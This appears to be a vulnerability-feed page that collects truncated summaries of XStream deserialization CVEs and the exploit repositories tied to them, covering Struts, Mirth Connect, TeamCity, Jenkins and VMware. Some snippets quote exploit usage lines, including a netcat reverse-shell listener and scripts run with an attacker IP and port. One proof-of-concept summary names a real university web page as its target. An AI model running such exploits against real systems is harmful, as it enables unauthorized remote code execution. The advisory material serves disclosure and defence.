CVE-2017-9805

CVE-2017-9805: Apache Struts 2 S2-052 RCE 分析 このリポジトリには、Apache Struts 2 S2-052 の XStream デシリアライゼーション の脆弱性に関する技術詳細と PoC Proof of Concept が含まれています。 📌 脆弱性情報 CVE コード: CVE-2017-9805 脆弱性タイプ: リモートコード実行 RCE リスクレベル: 重大 9.8/10 ターゲット分析: Harvard University - OTD http://otd.harvard.edu/contact-us/ 🔍 技術概要...

CVE-2021-47928

creationtimestamp| type| source ---|---|--- 2026-09-12 10:00:08+00:00| seen| https://t.me/shimiscyberworld/1340 2026-09-13 00:00:41+00:00| seen| https://t.me/shimiscyberworld/1340...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect: RCE без аутентификации Удаленное выполнение кода без аутентификации в NextGen Healthcare Mirth Connect CVSS 9.8 Critical — Обход исправления CVE-2023-37679 Обзор Mirth Connect использует библиотеку Java XStream для десериализации XML-нагрузок на конечной точке...

Mirth-Connect-CVE-2023-43208

CVE-2023-43208: NextGen Mirth Connect의 인증되지 않은 원격 코드 실행RCE 이 익스플로잇은 Mirth Connect의 XStream 엔진 내 심각한 역직렬화 취약점을 활용합니다. 이는 CVE-2023-37679에 대한 불완전한 패치에서 비롯된 것으로, 4.4.1 이전의 모든 버전에서 인증되지 않은 임의 코드 실행을 가능하게 합니다. 사용법 root@kitploit: python3 mirthrce.py https://target 면책 조항 이 익스플로잇 스크립트는 CVE-2023-43208을 완화하...

CVE-2023-43208-PoC

Mirth Connect RCE 익스플로잇 CVE-2023-43208 이 스크립트는 Mirth Connect 4.4.1 이전 버전의 원격 코드 실행RCE 취약점에 대한 개념 증명PoC입니다. API를 통해 XStream 역직렬화 취약점을 악용합니다. 요구 사항 Python 3.10 이상 3.13 호환 가능 대상에 대한 네트워크 연결 도구 사용법 root@kitploit: python3 CVE-2023-43208.py -u https://IP-대상 -lh 공격자-IP -lp 포트 설치 가상 환경 사용을 권장합니다:...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 描述 适用于 Mirth Connect 远程代码执行 RCE 的 PoC 影响 Mirth Connect 示例 启动监听器 root@kitploit: nc -lvnp 4444 运行漏洞利用程序 root@kitploit: ./exploit https://target.com 10.10.10.10 4444 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6...

Mirth-Connect-CVE-2023-43208

CVE-2023-43208: Unauthenticated Remote Code Execution RCE in NextGen Mirth Connect This exploit leverages a critical deserialization vulnerability within Mirth Connect's XStream engine. It stems from an incomplete patch for CVE-2023-37679, enabling unauthenticated arbitrary code execution across...

...[ More ]

This Metasploit module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response that causes TeamCity to deserialize an attacker-controlled object graph. T...

CVE-2026-66256 Apache Shindig Common, Apache Shindig Social-Api: Remote Code Execution via XStream deserialization (OpenSocial REST API)

UNSUPPORTED WHEN ASSIGNED Deserialization of Untrusted Data vulnerability in Apache Shindig. This issue affects Apache Shindig: all versions. Users with access to the Shindig REST API can send specially-crafted requests to trigger arbitrary code execution on the server. As this project is retired...

JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution

This module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response that causes TeamCity to deserialize an attacker-controlled object graph. The object...

The vulnerability of the Jenkins automation server’s XStream library allows a hacker to replace HTTP requests, gain unauthorized access to the Script Console, execute arbitrary code, or disclose sensitive information.

The vulnerability of the XStream library used by Jenkins automation servers is related to deficiencies in the deserialization mechanism. Exploiting this vulnerability allows a malicious actor to replace HTTP requests, gain unauthorized access to the Script Console, execute arbitrary code, or...

Exploit for Deserialization of Untrusted Data in Nextgen Mirth_Connect

CVE-2023-43208 — Mirth Connect Pre-Auth RCE Pre-authenticated...

Exploit for Deserialization of Untrusted Data in Apache Struts

CVE-2017-9805: Apache Struts 2 S2-052 RCE Analizi Bu depo, Ap...

SUSE CVE-2017-9805

The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads...

VMware Cloud Foundation XStream Deserialization

Added: 10/31/2022 Background VMware Cloud Foundation is a hybrid cloud platform. Problem An XStream deserialization vulnerability in the NSM Manager component of VMware Cloud Foundation NSX-V allows a remote attacker to execute arbitrary commands. Resolution Apply the patch referenced in...

VMware Cloud Foundation XStream Deserialization

Added: 10/31/2022 Background VMware Cloud Foundation is a hybrid cloud platform. Problem An XStream deserialization vulnerability in the NSM Manager component of VMware Cloud Foundation NSX-V allows a remote attacker to execute arbitrary commands. Resolution Apply the patch referenced in...

The vulnerability of the XStream library for converting objects to XML or JSON format in the VMware Cloud Foundation virtualization platform allows a perpetrator to execute arbitrary code with root privileges.

The vulnerability of the XStream library for converting objects to XML or JSON format in the VMware Cloud Foundation platform is related to deserialization errors and the ability to execute arbitrary code. Exploiting this vulnerability allows a malicious actor to execute arbitrary code with root...

SRC-2022-0021 : VMWare Cloud Foundation NSX-V XStream Deserialization of Untrusted Data Remote Code Execution Vulnerability

Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on affected installations of VMWare Cloud Foundation NSX-V. Authentication is not required to exploit this vulnerability. The specific flaw exists due to a vulnerable unmarshaller used to handle incoming...

xstream: Server-side request forgery (SSRF) via unsafe deserialization of com.sun.xml.internal.ws.client.sei.*

A flaw was found in xstream, a simple library used to serialize objects to XML and back again. This flaw allows a remote attacker to request data from internal resources that are not publicly available by manipulating the processed input stream with Java runtime versions 14 to 8. The highest thre...

VulnCheck KEV: CVE-2017-9805

Apache Struts REST Plugin uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads...